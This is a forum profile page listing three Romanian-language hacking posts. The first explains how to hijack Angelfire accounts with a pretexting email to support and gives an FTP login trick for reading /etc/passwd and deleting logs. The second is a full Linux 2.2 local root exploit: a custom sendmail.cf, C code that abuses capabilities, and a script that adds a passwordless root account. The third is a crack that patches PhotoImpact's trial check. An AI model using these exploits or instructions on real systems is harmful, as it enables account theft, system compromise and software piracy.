Jump to content

zbeng

Active Members
  • Posts

    2402
  • Joined

  • Last visited

  • Days Won

    3

Everything posted by zbeng

  1. ***** Pasul 1 ***** Afla-i adresa paginii, spre exemplu http://www.angelfire/ca/prieten/index.html. Buuun .. ce spune acesta adresa? ca pagina este pe server-ul angelfire.com (logic!) in directorul /ca este pentru statul California iar directorul /prieten spune (in general) numele "prietenului".Index este numele paginii , poate fi diferit dar de cele mai multe ori este pagina principala. ***** Pasul 2 ***** Buuun ... acum ai nevoie de vechea adresa de e-mail a "prietenului" Deobicei o gasesti in pagina de web. ***** Pasul 3 ***** Acum ca ii sti adresa de web si e-mail a "prietenului", trebui sa ii afli numele - deobicei il gasesti pe pagina de web. Daca nu incearca sa afli numele real de la el - chat, icq, e-mail ... . ***** Pasul 4***** Dupa ce ai aflat toate aceste informatii trimite un e-mail la Angelfire si spune cat de nefericit esti adresa de e-mail este: mail@angelfire.com. Scrisoarea trebuie sa sune "adevarat", scrie in ea ceva de genul - am fost intr-o calatorie mai lunga si am uitat parola - spune ca ti-ai schimbat adresa de e-mail iar cea veche nu mai este valabila si ai vrea sa primesti parola pe noua adresa de e-mail asa ca da-le noua adresa de email pentru primi parola iar in urmatoarele zile vei primi parola in casuta postala. Cam asta este una din ideiile de hack-uiala a contului de pe angelfire. SUGESTIE - mai sunt si alte servere care dau spatiu gartuit si se bazeaza pe acest mod de comunicare cu abonatii. ///////////////////// Cum sa hack-uiesti un ftp? ///////////////////// In windows 9x deschideti un prompt dos si tastati: ftp adresa victimei server-ul va cere: username apasati enter server-ul va cere: password apasati enter la promptul care apare tastati: quote usr ftp apoi tastati quote cwd ~root apoi tastati quote pass ftp Asigurati-va ca stergeti log-ul. Fisierul cu parole pentru cei care au drepturi pe sistem il gasiti in /etc/password deci odata ce ati intrat in sistem tastati cd /etc get passwd Daca totul a fost ok iar serverul este putin mai vechi GATA ati captat dreptul de root - veti putea face ce dori cu sistemul.NOTA: Cele de mai sus merg pe majoritatea serverelor mai vechi in special cele de la universitati.edix
  2. Incepand din acest numar, m-am gandit sa infiintzez o rubrica pentru "script kiddies", nu de alta, dar sunt un tip foarte lenesh, shi tzin minte ca pe vremuri nu de mult apuse, eram ahtiat dupa programele ushor de folosit, care sa imi ofere root in nu mai mult de 10 minute pe diferite linux-box-uri. Si cum printre cititorii revistei sunt cu sigurantza sunt doritori... Recent, s-a descoperit ca in kernelele 2.2.x exista o mare problema, si tocmai despre aceasta problema o sa discutam astazi. "Capabilitatzile" cerute de unul din standardele POSIX au fost recent implementate in kernelul de Linux. Mai exact de pe la 2.2. incoace. Aceste "capabilitatzi" sunt de fapt un nou mod de contol al privilegiilor, care spun de fapt intr-un mod mai specific ce pot sa faca procesele privilegiate (nu vreau sa fiu foarte rautacios cu cititorii revistei, dar shtitzi ce-s alea procese, nu?). Problema cu aceste capabilitati este ca ele se mostenesc de la procesul tata la procesul fiu asa cum sunt. Si acuma modul de exploatare: Daca setam toti capabilitatile la 0 (adica cel mai neprivilegiat mod cu putiintza), un program cum este sendmail care incearca sa faca un setgid si setuid inainte de a face lucruri care pot dauna sistemului daca sunt rulate ca root, nu va mai reusi sa faca acest lucru, si va rula in continuare ca root. Si daca ai un program care ruleaza ca root, si care face tot ce vrei tu, mai e vreo problema sa controlezi masina resprectiva ? Eu cred ca nu. Bun. Si cum rubrica se numeste "sKript Kiddo", sa vedem acuma scriptul care face toate povestea sa functioneze cum trebuie. Dar nu va grabiti. Mai intai sa va explic ce vreau sa fac. In primul rand am de gand sa ma joc de-a sendmail-u. Adica sa folosesc sendmailul ca shperaclu in sistem. Si dupa cum stiti, sendmailul are un fisier de configurare, pe care-l chiama sendmail.cf. Ei bine, mie nu imi place acel fisier, asa ca o sa scriu altul. Apoi am de gand sa fac un programel care sa arunce in aer privilegiile lui sendmail, astfel incat sendmail sa nu mai poata sa faca setuid si setgid, iar apoi sendmail.cf-ul scris de mine o sa-i spuna sendmail-ului sa ruleze un program care va scrie in /etc/passwd shi in /etc/shadow o noua linie, care imi va da cont de root. Deci. Copiati tot ce urmeaza intr-un fisier pe care il veti denumi sendmail.cf. La sfarsitul fisierului, cam a 15-a linie de sus in jos, exista o linie comentata. Urmati indicatiile. --- Cut Here (sendmail.cf) -- V8/Berkeley Cwlocalhost Fw/etc/sendmail.cw DSlocalhost CO @ % ! C.. C[[ Kaccess hash -o /etc/mail/access FR-o /etc/mail/relay-domains Kdequote dequote CE root DnMAILER-DAEMON CPREDIRECT DZ8.9.3 O SevenBitInput=False O EightBitMode=pass8 O AliasWait=10 O AliasFile=/etc/aliases O MinFreeBlocks=100 O BlankSub=. O HoldExpensive=False O DeliveryMode=background O AutoRebuildAliases=True O TempFileMode=0600 O HelpFile=/usr/lib/sendmail.hf O SendMimeErrors=True O ForwardPath=$z/.forward.$w:$z/.forward O ConnectionCacheSize=2 O ConnectionCacheTimeout=5m O UseErrorsTo=False O LogLevel=9 O CheckAliases=False O OldStyleHeaders=True O PrivacyOptions=authwarnings O QueueDirectory=/tmp O Timeout.connect=1m O Timeout.queuereturn=5d O Timeout.queuewarn=4h O SuperSafe=True O StatusFile=/var/log/sendmail.st O DefaultUser=8:12 O TryNullMXList=true O RefuseLA=12 O MaxDaemonChildren=20 O ConnectionRateThrottle=1 O HostsFile=/etc/hosts O SmtpGreetingMessage=$j Sendmail $v/$Z; $b O UnixFromLine=From $g $d O OperatorChars=.:%@!^/[]+ O DontProbeInterfaces=true Pfirst-class=0 Pspecial-delivery=100 Plist=-30 Pbulk=-60 Pjunk=-100 Troot Tdaemon Tuucp H?P?Return-Path: <$g> HReceived: $?sfrom $s $.$?_($?s$|from $.$_) $.by $j ($v/$Z)$?r with $r$. id $i$?u for $u; $|; $.$b H?D?Resent-Date: $a H?D?Date: $a H?F?Resent-From: $?x$x <$g>$|$g$. H?F?From: $?x$x <$g>$|$g$. H?x?Full-Name: $x H?M?Resent-Message-Id: <$t.$i@$j> H?M?Message-Id: <$t.$i@$j> S3 R$@ $@ <@> R$* $: $1 <@> mark addresses R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr> R@ $* <@> $: @ $1 unmark @host:... R$* :: $* <@> $: $1 :: $2 unmark node::addr R:include: $* <@> $: :include: $1 unmark :include:... R$* [ $* : $* ] <@> $: $1 [ $2 : $3 ] unmark IPv6 addrs R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon R$* : $* <@> $: $2 strip colon if marked R$* <@> $: $1 unmark R$* ; $1 strip trailing semi R$* < $* ; > $1 < $2 > bogus bracketed semi R$@ $@ :; <@> R$* $: < $1 > housekeeping <> R$+ < $* > < $2 > strip excess on left R< $* > $+ < $1 > strip excess on right R<> $@ < @ > MAIL FROM:<> case R< $+ > $: $1 remove housekeeping <> R@ $+ , $+ @ $1 : $2 change all "," to ":" R@ $+ : $+ $@ $>96 < @$1 > : $2 handle <route-addr> R $+ : $* ; @ $+ $@ $>96 $1 : $2 ; < @ $3 > list syntax R $+ : $* ; $@ $1 : $2; list syntax R$+ @ $+ $: $1 < @ $2 > focus on domain R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right R$+ < @ $+ > $@ $>96 $1 < @ $2 > already canonical R$* < @ $* : $* > $* $1 < @ $2 $3 > $4 nix colons in addrs R$- ! $+ $@ $>96 $2 < @ $1 .UUCP > resolve uucp names R$+ . $- ! $+ $@ $>96 $3 < @ $1 . $2 > domain uucps R$+ ! $+ $@ $>96 $2 < @ $1 .UUCP > uucp subdomains R$* % $* $1 @ $2 First make them all @s. R$* @ $* @ $* $1 % $2 @ $3 Undo all but the last. R$* @ $* $@ $>96 $1 < @ $2 > Insert < > and finish R$* $@ $>96 $1 S96 R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [a.b.c.d] R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr R$* < @ $+ . UUCP > $* $: $1 < @ $[ $2 $] . UUCP . > $3 R$* < @ $+ . . UUCP . > $* $@ $1 < @ $2 . > $3 R$* < @ $=w > $* $: $1 < @ $2 . > $3 R$* < @ $j > $* $: $1 < @ $j . > $2 R$* < @ $=M > $* $: $1 < @ $2 . > $3 R$* < @ $* $=P > $* $: $1 < @ $2 $3 . > $4 R$* < @ $* . . > $* $1 < @ $2 . > $3 S4 R$* <@> $@ handle <> and list:; R$* < @ $+ . > $* $1 < @ $2 > $3 R$* < @ *LOCAL* > $* $1 < @ $j > $2 R$* < $+ > $* $1 $2 $3 defocus R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical R@ $* $@ @ $1 ... and exit R$+ @ $- . UUCP $2!$1 u@h.UUCP => h!u R$+ % $=w @ $=w $1 @ $2 u%host@host => u@host S97 R$* $: $>3 $1 R$* $@ $>0 $1 S0 R$* $: $>Parse0 $1 initial parsing R<@> $#local $: <@> special case error msgs R$* $: $>98 $1 handle local hacks R$* $: $>Parse1 $1 final parsing SParse0 R<@> $@ <@> special case error msgs R$* : $* ; <@> $#error $@ 5.1.3 $: "List:; syntax illegal for recipient addresses" #R@ <@ $* > < @ $1 > catch "@@host" bogosity R<@ $+> $#error $@ 5.1.3 $: "User address required" R$* $: <> $1 R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3 R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "Colon illegal in host name part" R<> $* $1 R$* < @ . $* > $* $#error $@ 5.1.2 $: "Invalid host name" R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "Invalid host name" R$* < @ > $* $@ $>Parse0 $>3 $1 user@ => user R< @ $=w . > : $* $@ $>Parse0 $>3 $2 @here:... -> ... R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here R< @ $+ > $#error $@ 5.1.3 $: "User address required" R$* $=O $* < @ $=w . > $@ $>Parse0 $>3 $1 $2 $3 ...@here -> ... R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo" R< @ *LOCAL* > $#error $@ 5.1.3 $: "User address required" R$* $=O $* < @ *LOCAL* > $@ $>Parse0 $>3 $1 $2 $3 ...@*LOCAL* -> ... R$* < @ *LOCAL* > $: $1 SParse1 R$* < @ [ $+ ] > $* $: $>98 $1 < @ [ $2 ] > $3 numeric internet spec R$* < @ [ $+ ] > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 still numeric: send R$+ < @ $=w . > $: < $(virtuser $1 @ $2 $@ $1 $: @ $) > $1 < @ $2 . > R<@> $+ + $* < @ $* . > $: < $(virtuser $1 + * @ $3 $@ $1 $: @ $) > $1 + $2 < @ $3 . > R<@> $+ + $* < @ $* . > $: < $(virtuser $1 @ $3 $@ $1 $: @ $) > $1 + $2 < @ $3 . > R<@> $+ < @ $+ . > $: < $(virtuser @ $2 $@ $1 $: @ $) > $1 < @ $2 . > R<@> $+ $: $1 R< error : $- $+ > $* $#error $@ $(dequote $1 $) $: $2 R< $+ > $+ < @ $+ > $: $>97 $1 R$=L < @ $=w . > $#local $: @ $1 special local names R$+ < @ $=w . > $#local $: $1 regular local name R$* < @ $* > $* $: $>95 < $S > $1 < @ $2 > $3 glue on smarthost name R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain R$=L $#local $: @ $1 special local names R$+ $#local $: $1 regular local names S5 R$+ + * $#local $@ $&h $: $1 R$+ + $* $#local $@ + $2 $: $1 + * R$+ $: <> $1 R< > $+ $: < $H > $1 try hub R< > $+ $: < $R > $1 try relay R< > $+ $: < > < $1 $&h > nope, restore +detail R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra + R< > < $+ > $@ $1 no +detail R$+ $: $1 <> $&h add +detail back in R$+ <> + $* $: $1 + $2 check whether +detail R$+ <> $* $: $1 else discard R< local : $* > $* $: $>95 < local : $1 > $2 no host extension R< error : $* > $* $: $>95 < error : $1 > $2 no host extension R< $- : $+ > $+ $: $>95 < $1 : $2 > $3 < @ $2 > R< $+ > $+ $@ $>95 < $1 > $2 < @ $1 > S95 R< > $* $@ $1 strip off null relay R< error : $- $+ > $* $#error $@ $(dequote $1 $) $: $2 R< local : $* > $* $>CanonLocal < $1 > $2 R< $- : $+ @ $+ > $*<$*>$* $# $1 $@ $3 $: $2<@$3> use literal user R< $- : $+ > $* $# $1 $@ $2 $: $3 try qualified mailer R< $=w > $* $@ $2 delete local host R< $+ > $* $#relay $@ $1 $: $2 use unqualified mailer SCanonLocal R< $* > < @ $+ > : $+ $@ $>97 $3 R< $* > $+ $=O $+ < @ $+ > $@ $>97 $2 $3 $4 R< $* > $* < @ $* . > $: < $1 > $2 < @ $3 > R< > $* < @ $* > $* $#local $@ $1@$2 $: $1 R< > $+ $#local $@ $1 $: $1 R< $+ @ $+ > $* < @ $* > $: < $1 > $3 < @ $4 > R< $+ > $* <@ $* > $* $#local $@ $2@$3 $: $1 R< $+ > $* $#local $@ $2 $: $1 S93 R$=E < @ *LOCAL* > $@ $1 < @ $j . > leave exposed R$=E < @ $=M . > $@ $1 < @ $2 . > R$=E < @ $=w . > $@ $1 < @ $2 . > R$* < @ $=M . > $* $: $1 < @ $2 . @ $M > $3 convert masqueraded doms R$* < @ $=w . > $* $: $1 < @ $2 . @ $M > $3 R$* < @ *LOCAL* > $* $: $1 < @ $j . @ $M > $2 R$* < @ $+ @ > $* $: $1 < @ $2 > $3 $M is null R$* < @ $+ @ $+ > $* $: $1 < @ $3 . > $4 $M is not null S94 R$* < @ *LOCAL* > $* $: $1 < @ $j . > $2 S98 R wmail.$- $# wmail $: $1 R wmail.$- < @ $=w . > $# wmail $: $1 R wmail.$- < @ [ $=w ] . > $# wmail $: $1 R wmail.$- < @ [ $+ ] . > $# wmail $: $1 R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT . > < ${opMode} > R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT. > R$* < @ $+ .REDIRECT. > < $- > $# error $@ 5.1.1 $: "551 User has moved; please try " <$1@$2> SLookUpDomain R<$+> <$+> <$*> $: < $(access $1 $: ? $) > <$1> <$2> <$3> R<?> <$+.$+> <$+> <$*> $@ $>LookUpDomain <$2> <$3> <$4> R<?> <$+> <$+> <$*> $@ <$2> <$3> R<$*> <$+> <$+> <$*> $@ <$1> <$4> SLookUpAddress R<$+> <$+> <$*> $: < $(access $1 $: ? $) > <$1> <$2> <$3> R<?> <$+.$-> <$+> <$*> $@ $>LookUpAddress <$1> <$3> <$4> R<?> <$+> <$+> <$*> $@ <$2> <$3> R<$*> <$+> <$+> <$*> $@ <$1> <$4> SCanonAddr R$* $: $>Parse0 $>3 $1 make domain canonical R< @ $+ > : $* @ $* < @ $1 > : $2 % $3 change @ to % in src route R$* < @ $+ > : $* : $* $3 $1 < @ $2 > : $4 change to % hack. R$* < @ $+ > : $* $3 $1 < @ $2 > SParseRecipient R$* $: <?> $>CanonAddr $1 R<?> $* < @ $* . > <?> $1 < @ $2 > strip trailing dots R<?> $- < @ $* > $: <?> $(dequote $1 $) < @ $2 > dequote local part R<?> $* $=O $* < @ $* > $: <NO> $1 $2 $3 < @ $4> R<?> $* $@ $1 R<NO> $* < @ $* $=R > $: <RELAY> $1 < @ $2 $3 > R<NO> $* < @ $+ > $: $>LookUpDomain <$2> <NO> <$1 < @ $2 >> R<$+> <$+> $: <$1> $2 R<RELAY> $* < @ $* > $@ $>ParseRecipient $1 R<$-> $* $@ $2 SLocal_check_relay Scheck_relay R$* $: $1 $| $>"Local_check_relay" $1 R$* $| $* $| $#$* $#$3 R$* $| $* $| $* $@ $>"Basic_check_relay" $1 $| $2 SBasic_check_relay R$* $: < ${deliveryMode} > $1 R< d > $* $@ deferred R< $* > $* $: $2 R$+ $| $+ $: $>LookUpDomain < $1 > <?> < $2 > R<?> < $+ > $: $>LookUpAddress < $1 > <?> < $1 > R<?> < $+ > $: $1 R<OK> < $* > $@ OK R<RELAY> < $* > $@ RELAY R<REJECT> $* $#error $@ 5.7.1 $: "550 Access denied" R<DISCARD> $* $#discard $: discard R<$+> $* $#error $@ 5.7.1 $: $1 SLocal_check_mail Scheck_mail R$* $: $1 $| $>"Local_check_mail" $1 R$* $| $#$* $#$2 R$* $| $* $@ $>"Basic_check_mail" $1 SBasic_check_mail R$* $: < ${deliveryMode} > $1 R< d > $* $@ deferred R< $* > $* $: $2 R<> $@ <OK> R$* $: <?> $>CanonAddr $1 R<?> $* < @ $+ . > <?> $1 < @ $2 > strip trailing dots R<?> $* < $* $=P > $* $: <OK> $1 < @ $2 $3 > $4 R<?> $* < @ $+ > $* $: <OK> $1 < @ $2 > $3 ... unresolvable OK R<$+> $* < @localhost > $: < ? $&{client_name} > <$1> $2 < @localhost > R<$+> $* < @localhost.$m > $: < ? $&{client_name} > <$1> $2 < @localhost.$m > R<$+> $* < @localhost.UUCP > $: < ? $&{client_name} > <$1> $2 < @localhost.UUCP > R<? $=w> <$+> $* <?> <$2> $3 R<? $+> <$+> $* $#error $@ 5.5.4 $: "553 Real domain name required" R<?> <$+> $* $: <$1> $2 R<$+> $* < @ $+ > $* $: <USER $(access $2@ $: ? $) > <$1> $2 < @ $3 > $4 R<USER ?> <$+> $* < @ $* > $* $: <USER $(access $2@$3$4 $: ? $) > <$1> $2 < @ $3 > $4 R<USER ?> <$+> $+ < @ $+ > $* $: <USER $(access $2@$3 $: ? $) > <$1> $2 < @ $3 > $4 R<USER ?> <$+> $* < @ $+ > $* $: $>LookUpDomain <$3> <$1> <> R<?> $* $: <USER $(access $1@ $: ? $) > <?> $1 R<USER $+> <$+> $* $: <$1> $3 R<?> $* $: < ? $&{client_name} > $1 R<?> $* $@ <OK> ...local unqualed ok R<? $+> $* $#error $@ 5.5.4 $: "553 Domain name required" ...remote is not R<?> $* $@ <OK> R<OK> $* $@ <OK> R<TEMP> $* $#error $@ 4.1.8 $: "451 Sender domain must resolve" R<PERM> $* $#error $@ 5.1.8 $: "501 Sender domain must exist" R<RELAY> $* $@ <RELAY> R<DISCARD> $* $#discard $: discard R<REJECT> $* $#error $@ 5.7.1 $: "550 Access denied" R<$+> $* $#error $@ 5.7.1 $: $1 error from access db SLocal_check_rcpt Scheck_rcpt R$* $: $1 $| $>"Local_check_rcpt" $1 R$* $| $#$* $#$2 R$* $| $* $@ $>"Basic_check_rcpt" $1 SBasic_check_rcpt R$* $: < ${deliveryMode} > $1 R< d > $* $@ deferred R< $* > $* $: $2 R$* $: $>ParseRecipient $1 strip relayable hosts R$* $: <?> $1 R<?> $+ < @ $=w > $: <> <USER $1> <FULL $1@$2> <HOST $2> <$1 < @ $2 >> R<?> $+ < @ $* > $: <> <FULL $1@$2> <HOST $2> <$1 < @ $2 >> R<?> $+ $: <> <USER $1> <$1> R<> <USER $+> $* $: <$(access $1 $: $)> $2 R<> <FULL $+> $* $: <$(access $1 $: $)> $2 R<OK> <FULL $+> $* $: <$(access $1 $: $)> $2 R<> <HOST $+> $* $: <$(access $1 $: $)> $2 R<OK> <HOST $+> $* $: <$(access $1 $: $)> $2 R<> <$*> $: $1 R<OK> <$*> $: $1 R<RELAY> <$*> $: $1 R<REJECT> $* $#error $@ 5.2.1 $: "550 Mailbox disabled for this recipient" R<$+> $* $#error $@ 5.2.1 $: $1 error from access db R$+ < @ $=w > $@ OK R$+ < @ $* $=R > $@ OK R$+ < @ $* > $: $>LookUpDomain <$2> <?> <$1 < @ $2 >> R<RELAY> $* $@ RELAY R<$*> <$*> $: $2 R$* $: <?> $1 R<?> $* < @ $+ > $: <REMOTE> $1 < @ $2 > R<?> $+ $@ OK R<$+> $* $: $2 R$* $: <?> $&{client_name} R<?> [$+] $: <BAD> [$1] R<?> $* $~P $: <?> $[ $1 $2 $] R<$-> $* $: $2 R$* . $1 strip trailing dots R$@ $@ OK R$=w $@ OK R$* $=R $@ OK R$* $: $>LookUpDomain <$1> <?> <$1> R<RELAY> $* $@ RELAY R<$*> <$*> $: $2 R$* $: $&{client_addr} R$@ $@ OK originated locally R0 $@ OK originated locally R$=R $* $@ OK relayable IP address R$* $: $>LookUpAddress <$1> <?> <$1> R<RELAY> $* $@ RELAY relayable IP address R<$*> <$*> $: $2 R$* $: [ $1 ] put brackets around it... R$=w $@ OK ... and see if it is local R$* $#error $@ 5.7.1 $: "550 Relaying denied" Mprocmail, P=/usr/bin/procmail, F=DFMSPhnu9, S=11/31, R=21/31, T=DNS/RFC822/X-Unix, A=procmail -Y -m $h $f $u Msmtp, P=[iPC], F=mDFMuX, S=11/31, R=21, E=rn, L=990, T=DNS/RFC822/SMTP, A=IPC $h Mesmtp, P=[iPC], F=mDFMuXa, S=11/31, R=21, E=rn, L=990, T=DNS/RFC822/SMTP, A=IPC $h Msmtp8, P=[iPC], F=mDFMuX8, S=11/31, R=21, E=rn, L=990, T=DNS/RFC822/SMTP, A=IPC $h Mrelay, P=[iPC], F=mDFMuXa8, S=11/31, R=61, E=rn, L=2040, T=DNS/RFC822/SMTP, A=IPC $h S11 R$+ $: $>51 $1 sender/recipient common R$* :; <@> $@ list:; special case R$* $: $>61 $1 qualify unqual'ed names R$+ $: $>94 $1 do masquerading S21 R$+ $: $>51 $1 sender/recipient common R$+ $: $>61 $1 qualify unqual'ed names S31 R$+ $: $>51 $1 sender/recipient common R:; <@> $@ list:; special case R$* <@> $* $@ $1 <@> $2 pass null host through R< @ $* > $* $@ < @ $1 > $2 pass route-addr through R$* $: $>61 $1 qualify unqual'ed names R$+ $: $>93 $1 do masquerading S51 R< @ $+ > $* $@ < @ $1 > $2 resolve <route-addr> R$+ < @ $+ .UUCP. > $: < $2 ! > $1 convert to UUCP form R$+ < @ $* > $* $@ $1 < @ $2 > $3 not UUCP form R< $&h ! > $- ! $+ $@ $2 < @ $1 .UUCP. > R< $&h ! > $-.$+ ! $+ $@ $3 < @ $1.$2 > R< $&h ! > $+ $@ $1 < @ $&h .UUCP. > R< $+ ! > $+ $: $1 ! $2 < @ $Y > use UUCP_RELAY R$+ < @ $+ : $+ > $@ $1 < @ $3 > strip mailer: part R$+ < @ > $: $1 < @ *LOCAL* > if no UUCP_RELAY S61 R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified R$+ $@ $1 < @ *LOCAL* > add local qualification S71 R$+ $: $>61 $1 R$+ $: $>93 $1 #inlocuiti pe linia urmatoare stringul /calea/spre cu directorul curent #eg: /home/user Mlocal, P=/calea/spre/add, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=add -Y -a $h -d $u Mprog, P=/usr/sbin/smrsh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/, T=X-Unix, A=sh -c $u Mwmail, P=/usr/local/wMail/wmail, F=lsD, S=10/30, R=20/40, D=/tmp/, T=X-Unix, A=/usr/local/wMail/wmail $u S10 R<@> $n errors to mailer-daemon R@ <@ $*> $n temporarily bypass Sun bogosity R$+ $: $>50 $1 add local domain if needed R$* $: $>94 $1 do masquerading S20 R$+ < @ $* > $: $1 strip host part S30 R<@> $n errors to mailer-daemon R@ <@ $*> $n temporarily bypass Sun bogosity R$+ $: $>50 $1 add local domain if needed R$* $: $>93 $1 do masquerading S40 R$+ $: $>50 $1 add local domain if needed S50 R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified R$+ $@ $1 < @ *LOCAL* > add local qualification --- Cut here (gata) -- Si in sfarshit scriptul --- CUT HERE --- #!/bin/sh # # Acest script este adaptat si modificat dupa programele care au # fost publicate pe lista de discutzii BUGTRAQ. # Folosirea lui poate produce pagube si este in general impotriva legii # Personal va recomand sa nu il folositi. # De asemenea, recomad sa nu il distribuitzi, cu toate ca este sub # licentza GPL echo creez fisierele sursa cat <<gata1> ex.c #include <linux/capability.h> int main (void) { cap_user_header_t header; cap_user_data_t data; header = malloc(; data = malloc(12); header->pid = 0; header->version = _LINUX_CAPABILITY_VERSION; data->inheritable = data->effective = data->permitted = 0; capset(header, data); execlp("/usr/sbin/sendmail", "sendmail" ,"-t", "-C", "./sendmail.cf", NULL); } gata1 echo shi acuma cel de-al doilea cat <<gata.2> add.c #include <fcntl.h> int main (void) { int fd; char string[250]; seteuid(0); setegid(0); setuid(0); setgid(0); system("chmod u+w /etc/shadow"); fd = open("/etc/passwd", O_APPEND|O_WRONLY); strcpy(string, "shmekeru:@:0:0::/root:/bin/shn"); write(fd, string, strlen(string)); close(fd); fd = open("/etc/shadow", O_APPEND|O_WRONLY); strcpy(string, "shmekeru::11029:0:99999:7:::n"); write(fd, string, strlen(string)); close(fd); } gata.2 echo compilez... gcc -o add add.c gcc -o ex ex.c cat <<gata3> mailexp From: spargatoru@foobar.com To: root@localhost Subject: foo bar . gata3 echo rulez xploitu ./ex < mailexp echo shi acuma ashteptatzi un pic... sleep 10 echo root access pentru dumneavoastra echo daca nu exista ssh instalat in sistem incercati echo su shmekeru ssh -lshmekeru localhost -- Cut here (done) --
  3. Saluatare oameni buni! M-am decis sa scriu acest tutorial deoarece PhotoImpact este un program benga care te ajuta cu multe chestii atunci cand e vorba sa-ti faci o pagina de web, vrei sa prelucreazi fotografii si nu numai. Initial acest tutorial a fost scris in limba engleza, dar vazand unele site-uri romanesti cu informatii despre cracking m-am decis sa il rescriu in romana sa inteleaga tot romanu'. Programul il puteti gasi pe multe dintre CD-urile de la revistele dedicate IT(EX.Chip). Scule necesare Soft-Ice 3.24 - cel mai mishto debugger oferit de NuMega (multe multumiri) Win32Dasm 8.93 - un dezasamblor mishto pentru incepatori si nu numai Editorul tau hexa favorit - as sugera Hexworkshop32 (TOATE ACESTEA POT FI GASITE LA www.crackstore.com). Sa pornim. Instalati programul si pe urma rulati-l. Veti vedea un nag-screen suparator care va ca folositi o versiune numai pentru incercare valabila o singura luna. Setati timpul cu o luna dupa expirarea programului si rulati-l iarasi. Veti obtine un mesaj ca asta : "Your 30 day-trial period has expired" bla,bla... Click pe 'OK' si programul va spune ciao! Cum sa facem sa nu mai expire? Sunt mai multe cai. Iata una dintre ele. O sa punem un breakpoint (punct de intreupere) la functia MessageBoxA care ne-a aratat acel mesaj stupid. Tastati ctrl+d pentru a intra in Soft-Ice. Puneti breakpoint-ul: bpx messageboxa si apasati F5. Acum porniti iarsai programul. Sice se va opri la inceputul functiei messageboxa. Dar noi trebuie sa ajungem acolo de unde a fost chemata aceasta functie. Pentru aceasta apasati F11. Va veti trezi in u32cfg.dll la aceasta secventa de cod: :4EB06EDF FF155482B04E Call dword ptr [4EB08254] :4EB06EE5 50 push eax * Reference To: USER32.MessageBoxA, Ord:01BEh | :4EB06EE6 FF157C81B04E Call dword ptr [4EB0817C] << esti aici :4EB06EEC 5F pop edi :4EB06EED C3 ret Dupa cum puteti vedea nu exista nici o cale sa crack-uiti programul aici. Sa continuam executia programului pas cu pas. Parcurgeti doua linii (cu F10). Veti vedea: :4EB06E62 68F0550000 push 000055F0 * Referenced by a (U)nconditional or ©onditional Jump at Address: |:4EB06D2C(U) | :4EB06E67 E814000000 call 4EB06E80 :4EB06E6C 83C40C add esp, 0000000C << esti aici * Referenced by a (U)nconditional or ©onditional Jump at Addresses: |:4EB0601B©, :4EB06084©, :4EB06C6F©, :4EB06CF3© | :4EB06E6F 5F pop edi :4EB06E70 5E pop esi :4EB06E71 5D pop ebp :4EB06E72 33C0 xor eax, eax << hmm...nimic bun aici... :4EB06E74 5B pop ebx :4EB06E75 81C470060000 add esp, 00000670 :4EB06E7B C3 ret Chemarea rutinei de la 4EB06E80 va va afisa mesajul cel urat daca au trcut cele 30 de zile de evaluare si va intoarce ca rezultat fie 1 in eax, caz in care programul merge mai departe, fie 0 semn ca programul a expirat caz in care se va intrerupe executia sa. Acum avem destule informatii ca sa realizam crack-ul. Ati putea inlocui call 4EB06E80, cu 33C0 xor eax, eax ; eax=0 40 inc eax ; eax=1 40 inc eax ; eax=2 48 dec eax ; eax=1 ceea ce avem nevoie evitandu-se astfel chemarea acestei rutine si xor eax, eax cu nop ; nop ; pentru ca nu avem nevoie de valoarea 0 in eax. Faceti rost de offseturi folosind w32Dasm (acestea sunt 6E67, 6E72). In hexeditorul preferat incarcati fisierul u32cfg.dll si schimbati la primul offset E814000000 cu 33C0404048 si la cel de al doilea 33C0 cu 9090. Salvati-l. Rulati-l . Folositi-l cu placere! Nici un messagebox sau vreo limita la timp doar programul mergand foarte misto. Si acum un mic rezumat: Pentru a inpusca doi iepuri dintr-o lovitura, ne-am folosit de mesajul ce anunta expirarea programului simuland apasarea butonului 'OK' . O varianta destul de isteata, nu? Dar puteti sa eliminati protectia la timp folosindu-va de functia GetSystemTime dar acesta este o cale mai lunga...Vi-o las ca tema Daca nu ati inteles mare lucru din acest tutorial, atunci cititi mai multe tutoriale destinate incepatorilor in cracking disponibile pe INTERNET. ***Totul a fost scris in in scopuri pur didactice. Autorul nu isi asuma raspunderea pentru orice lucru neplacut care vi s-ar putea intampla in urma citirii acestuia*** La revedere!
